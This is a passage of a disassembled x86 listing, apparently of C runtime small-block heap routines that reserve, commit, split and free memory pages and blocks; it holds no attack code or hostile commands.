push 8
lea eax, [eax+eax*4]
push dword_4DCFC4
lea esi, [ecx+eax*4]
call near ptr 2960000h
nop
cmp eax, edi
mov [esi+10h], eax
jz short loc_41E567
push 4
push 2000h
push 100000h
push edi
nop
call near ptr 2A606B3h
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41E56B
push dword ptr [esi+10h]
push edi
push dword_4DCFC4
nop
call near ptr 2950000h
loc_41E567: ; CODE XREF: sub_41E4D4+30j
; sub_41E4D4+67j
xor eax, eax
jmp short loc_41E582
; ---------------------------------------------------------------------------
loc_41E56B: ; CODE XREF: sub_41E4D4+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_4DCFB8
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41E582: ; CODE XREF: sub_41E4D4+95j
pop edi
pop esi
retn
sub_41E4D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41E597: ; CODE XREF: sub_41E585+19j
test eax, eax
jl short loc_41E5A0
shl eax, 1
inc ebx
jmp short loc_41E597
; ---------------------------------------------------------------------------
loc_41E5A0: ; CODE XREF: sub_41E585+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41E5B5: ; CODE XREF: sub_41E585+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41E5B5
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
nop
call near ptr 2A606B3h
test eax, eax
jnz short loc_41E5E8
or eax, 0FFFFFFFFh
jmp loc_41E67B
; ---------------------------------------------------------------------------
loc_41E5E8: ; CODE XREF: sub_41E585+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41E62E
lea eax, [edi+10h]
loc_41E5F5: ; CODE XREF: sub_41E585+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41E5F5
loc_41E62E: ; CODE XREF: sub_41E585+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41E66B
or [eax+4], edi
loc_41E66B: ; CODE XREF: sub_41E585+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41E67B: ; CODE XREF: sub_41E585+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41E585 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41E82E
test bl, 1
jnz loc_41E827
add ebx, ecx
cmp esi, ebx
jg loc_41E827
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41E6F7
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41E6F7: ; CODE XREF: sub_41E680+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41E747
cmp ecx, 20h
jnb short loc_41E723
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41E747
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E747
; ---------------------------------------------------------------------------
loc_41E723: ; CODE XREF: sub_41E680+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E747
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E747: ; CODE XREF: sub_41E680+7Dj
; sub_41E680+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41E815
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41E781
push 3Fh
pop edi
loc_41E781: ; CODE XREF: sub_41E680+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41E803
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41E7DA
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41E7CD
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E7CD: ; CODE XREF: sub_41E680+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41E7FF
; ---------------------------------------------------------------------------
loc_41E7DA: ; CODE XREF: sub_41E680+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41E7F0
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E7F0: ; CODE XREF: sub_41E680+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41E7FF: ; CODE XREF: sub_41E680+158j
shr edx, cl
or [eax], edx
loc_41E803: ; CODE XREF: sub_41E680+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41E818
; ---------------------------------------------------------------------------
loc_41E815: ; CODE XREF: sub_41E680+E5j
mov edx, [ebp+arg_4]
loc_41E818: ; CODE XREF: sub_41E680+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41E96E
; ---------------------------------------------------------------------------
loc_41E827: ; CODE XREF: sub_41E680+52j
; sub_41E680+5Cj
xor eax, eax
jmp loc_41E971
; ---------------------------------------------------------------------------
loc_41E82E: ; CODE XREF: sub_41E680+49j
jge loc_41E96E
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41E859
push 3Fh
pop esi
loc_41E859: ; CODE XREF: sub_41E680+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41E8E8
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41E872
push 3Fh
pop esi
loc_41E872: ; CODE XREF: sub_41E680+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41E8C1
cmp esi, 20h
jnb short loc_41E89D
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41E8BE
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E8BE
; ---------------------------------------------------------------------------
loc_41E89D: ; CODE XREF: sub_41E680+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E8BE
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E8BE: ; CODE XREF: sub_41E680+214j
; sub_41E680+21Bj ...
mov ebx, [ebp+arg_4]
loc_41E8C1: ; CODE XREF: sub_41E680+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41E8E8
push 3Fh
pop esi
loc_41E8E8: ; CODE XREF: sub_41E680+1DDj
; sub_41E680+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41E965
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41E93C
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E92F
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41E92F: ; CODE XREF: sub_41E680+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41E961
; ---------------------------------------------------------------------------
loc_41E93C: ; CODE XREF: sub_41E680+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E952
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41E952: ; CODE XREF: sub_41E680+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41E961: ; CODE XREF: sub_41E680+2BAj
shr edx, cl
or [eax], edx
loc_41E965: ; CODE XREF: sub_41E680+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41E96E: ; CODE XREF: sub_41E680+1A2j
; sub_41E680:loc_41E82Ej
push 1
pop eax
loc_41E971: ; CODE XREF: sub_41E680+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41E680 endp
; =============== S U B R O U T I N E =======================================
sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp
cmp dword_43A990, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41E98A
mov esi, offset off_43A980
jmp short loc_41E9A7
; ---------------------------------------------------------------------------
loc_41E98A: ; CODE XREF: sub_41E976+Bj
push 2020h
push 0
push dword_4DCFC4
nop
call near ptr 2960000h
mov esi, eax
test esi, esi
jz loc_41EAB3
loc_41E9A7: ; CODE XREF: sub_41E976+12j
mov ebp, dword_4271C4
push 4
push 2000h
push 400000h
push 0
call ebp
mov edi, eax
test edi, edi
jz loc_41EA9C
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp
test eax, eax
jz loc_41EA8E
mov eax, offset off_43A980
cmp esi, eax
jnz short loc_41EA06
cmp off_43A980, 0
jnz short loc_41E9F6
mov off_43A980, eax
loc_41E9F6: ; CODE XREF: sub_41E976+79j
cmp off_43A984, 0
jnz short loc_41EA1B
mov off_43A984, eax
jmp short loc_41EA1B
; ---------------------------------------------------------------------------
loc_41EA06: ; CODE XREF: sub_41E976+70j
mov [esi], eax
mov eax, off_43A984
mov [esi+4], eax
mov off_43A984, esi
mov eax, [esi+4]
mov [eax], esi
loc_41EA1B: ; CODE XREF: sub_41E976+87j
; sub_41E976+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41EA3D: ; CODE XREF: sub_41E976+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41EA3D
push ebx
push 0
push edi
call sub_41B590
add esp, 0Ch
loc_41EA66: ; CODE XREF: sub_41E976+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41EA8A
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41EA66
; ---------------------------------------------------------------------------
loc_41EA8A: ; CODE XREF: sub_41E976+F7j
mov eax, esi
jmp short loc_41EAB5
; ---------------------------------------------------------------------------
loc_41EA8E: ; CODE XREF: sub_41E976+63j
push 8000h
push 0
push edi
call near ptr 2A605B8h
nop
loc_41EA9C: ; CODE XREF: sub_41E976+4Bj
cmp esi, offset off_43A980
jz short loc_41EAB3
push esi
push 0
push dword_4DCFC4
nop
call near ptr 2950000h
loc_41EAB3: ; CODE XREF: sub_41E976+2Bj
; sub_41E976+12Cj
xor eax, eax
loc_41EAB5: ; CODE XREF: sub_41E976+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41E976 endp
; =============== S U B R O U T I N E =======================================
sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call near ptr 2A605B8h
nop
cmp off_43C9A0, esi
jnz short loc_41EADF
mov eax, [esi+4]
mov off_43C9A0, eax
loc_41EADF: ; CODE XREF: sub_41EABA+1Bj
cmp esi, offset off_43A980
jz short loc_41EB07
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_4DCFC4
nop
call near ptr 2950000h
pop esi
retn
; ---------------------------------------------------------------------------
loc_41EB07: ; CODE XREF: sub_41EABA+2Bj
or dword_43A990, 0FFFFFFFFh
pop esi
retn
sub_41EABA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_43A984
push edi
loc_41EB1D: ; CODE XREF: sub_41EB10+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41EBBB
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41EB36: ; CODE XREF: sub_41EB10+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41EB77
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
nop
call near ptr 2A605B8h
test eax, eax
jz short loc_41EB77
or dword ptr [edi], 0FFFFFFFFh
dec dword_4DB9A4
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41EB6C
cmp eax, edi
jbe short loc_41EB6F
loc_41EB6C: ; CODE XREF: sub_41EB10+56j
mov [esi+0Ch], edi
loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41EB84
loc_41EB77: ; CODE XREF: sub_41EB10+2Cj
; sub_41EB10+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41EB36
loc_41EB84: ; CODE XREF: sub_41EB10+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41EBBB
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41EBBB
push 1
lea eax, [ecx+20h]
pop edx
loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41EBAC
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41EB9B
loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej
cmp edx, 400h
jnz short loc_41EBBB
push ecx
call sub_41EABA
pop ecx
loc_41EBBB: ; CODE XREF: sub_41EB10+11j
; sub_41EB10+7Dj ...
cmp esi, off_43A984
jz short loc_41EBCD
cmp [ebp+arg_0], 0
jg loc_41EB1D
loc_41EBCD: ; CODE XREF: sub_41EB10+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41EB10 endp
; =============== S U B R O U T I N E =======================================
sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap
; sub_41B202+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_43A980
push esi
mov ecx, edx
loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj
cmp eax, [ecx+10h]
jbe short loc_41EBE8
cmp eax, [ecx+14h]
jb short loc_41EBF0
loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41EC25
jmp short loc_41EBDE
; ---------------------------------------------------------------------------
loc_41EBF0: ; CODE XREF: sub_41EBD2+14j
test al, 0Fh
jnz short loc_41EC25
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41EC25
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj
; sub_41EBD2+20j ...
xor eax, eax
pop esi
retn
sub_41EBD2 endp
; =============== S U B R O U T I N E =======================================
sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp
; sub_41B202+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41EC6D
inc dword_4DB9A4
cmp dword_4DB9A4, 20h
jnz short locret_41EC6D
push 10h
call sub_41EB10
pop ecx
locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj
; sub_41EC29+3Aj
retn
sub_41EC29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp
; sub_41B513+4Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43C9A0
push edi
loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41ED27
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41ECE1
loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41ECCA
cmp [edi+4], ebx
jbe short loc_41ECCA
push ebx
push ecx
push eax
call sub_41EE76
add esp, 0Ch
test eax, eax
jnz short loc_41ED39
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41ECCA: ; CODE XREF: sub_41EC6E+40j
; sub_41EC6E+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41ECA7
jmp short loc_41ECE4
; ---------------------------------------------------------------------------
loc_41ECE1: ; CODE XREF: sub_41EC6E+37j
mov ebx, [ebp+arg_0]
loc_41ECE4: ; CODE XREF: sub_41EC6E+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41ED2A
loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41ED16
cmp [edi+4], ebx
jbe short loc_41ED16
push ebx
push eax
push [ebp+var_4]
call sub_41EE76
add esp, 0Ch
test eax, eax
jnz short loc_41ED39
mov [edi+4], ebx
loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj
; sub_41EC6E+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_41ECF7
jmp short loc_41ED2A
; ---------------------------------------------------------------------------
loc_41ED27: ; CODE XREF: sub_41EC6E+14j
mov ebx, [ebp+arg_0]
loc_41ED2A: ; CODE XREF: sub_41EC6E+87j
; sub_41EC6E+B7j
mov esi, [esi]
cmp esi, off_43C9A0
jz short loc_41ED49
jmp loc_41EC7C
; ---------------------------------------------------------------------------
loc_41ED39: ; CODE XREF: sub_41EC6E+54j
; sub_41EC6E+A3j
mov off_43C9A0, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41EE71
; ---------------------------------------------------------------------------
loc_41ED49: ; CODE XREF: sub_41EC6E+C4j
mov eax, offset off_43A980
mov edi, eax
loc_41ED50: ; CODE XREF: sub_41EC6E+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41ED5C
cmp dword ptr [edi+0Ch], 0
jnz short loc_41ED68
loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41EE3D
jmp short loc_41ED50
; ---------------------------------------------------------------------------
loc_41ED68: ; CODE XREF: sub_41EC6E+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41ED97
loc_41ED86: ; CODE XREF: sub_41EC6E+127j
cmp [ebp+var_4], 10h
jge short loc_41ED97
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41ED86
loc_41ED97: ; CODE XREF: sub_41EC6E+116j
; sub_41EC6E+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
nop
call near ptr 2A606B3h
cmp eax, esi
jnz loc_41EE6F
push 0
push [ebp+var_8]
push esi
call sub_41B590
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41EDFE
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41EDD4
loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej
mov off_43C9A0, edi
lea eax, [edi+2018h]
loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j
cmp ecx, eax
jnb short loc_41EE1A
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41EE18
add ecx, 8
jmp short loc_41EE0A
; ---------------------------------------------------------------------------
loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j
cmp ecx, eax
loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41EE71
; ---------------------------------------------------------------------------
loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j
call sub_41E976
test eax, eax
jz short loc_41EE6F
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43C9A0, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41EE71
; ---------------------------------------------------------------------------
loc_41EE6F: ; CODE XREF: sub_41EC6E+143j
; sub_41EC6E+1D6j
xor eax, eax
loc_41EE71: ; CODE XREF: sub_41EC6E+D6j
; sub_41EC6E+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41EC6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap
; sub_41EC6E+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41EEBB
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41EEAA
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41EEB3
; ---------------------------------------------------------------------------
loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41EEB3: ; CODE XREF: sub_41EE76+32j
lea eax, [edi+8]
jmp loc_41EF89
; ---------------------------------------------------------------------------
loc_41EEBB: ; CODE XREF: sub_41EE76+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41EEC4
mov eax, esi
loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41EF0E
loc_41EECB: ; CODE XREF: sub_41EE76+96j
mov bl, [eax]
test bl, bl
jnz short loc_41EF01
push 1
lea ebx, [eax+1]
pop esi
loc_41EED7: ; CODE XREF: sub_41EE76+68j
cmp byte ptr [ebx], 0
jnz short loc_41EEE0
inc ebx
inc esi
jmp short loc_41EED7
; ---------------------------------------------------------------------------
loc_41EEE0: ; CODE XREF: sub_41EE76+64j
cmp esi, edx
jnb short loc_41EF32
cmp eax, [ebp+var_4]
jnz short loc_41EEEE
mov [ecx+4], esi
jmp short loc_41EEFA
; ---------------------------------------------------------------------------
loc_41EEEE: ; CODE XREF: sub_41EE76+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41EF93
loc_41EEFA: ; CODE XREF: sub_41EE76+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41EF06
; ---------------------------------------------------------------------------
loc_41EF01: ; CODE XREF: sub_41EE76+59j
movzx esi, bl
add eax, esi
loc_41EF06: ; CODE XREF: sub_41EE76+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41EECB
loc_41EF0E: ; CODE XREF: sub_41EE76+53j
lea esi, [ecx+8]
loc_41EF11: ; CODE XREF: sub_41EE76+EBj
; sub_41EE76+F2j
cmp esi, edi
jnb short loc_41EF93
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41EF93
mov al, [esi]
test al, al
jnz short loc_41EF63
push 1
lea ebx, [esi+1]
pop eax
loc_41EF29: ; CODE XREF: sub_41EE76+BAj
cmp byte ptr [ebx], 0
jnz short loc_41EF53
inc ebx
inc eax
jmp short loc_41EF29
; ---------------------------------------------------------------------------
loc_41EF32: ; CODE XREF: sub_41EE76+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41EF43
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41EF4C
; ---------------------------------------------------------------------------
loc_41EF43: ; CODE XREF: sub_41EE76+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41EF4C: ; CODE XREF: sub_41EE76+CBj
mov [eax], dl
add eax, 8
jmp short loc_41EF89
; ---------------------------------------------------------------------------
loc_41EF53: ; CODE XREF: sub_41EE76+B6j
cmp eax, edx
jnb short loc_41EF6A
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41EF93
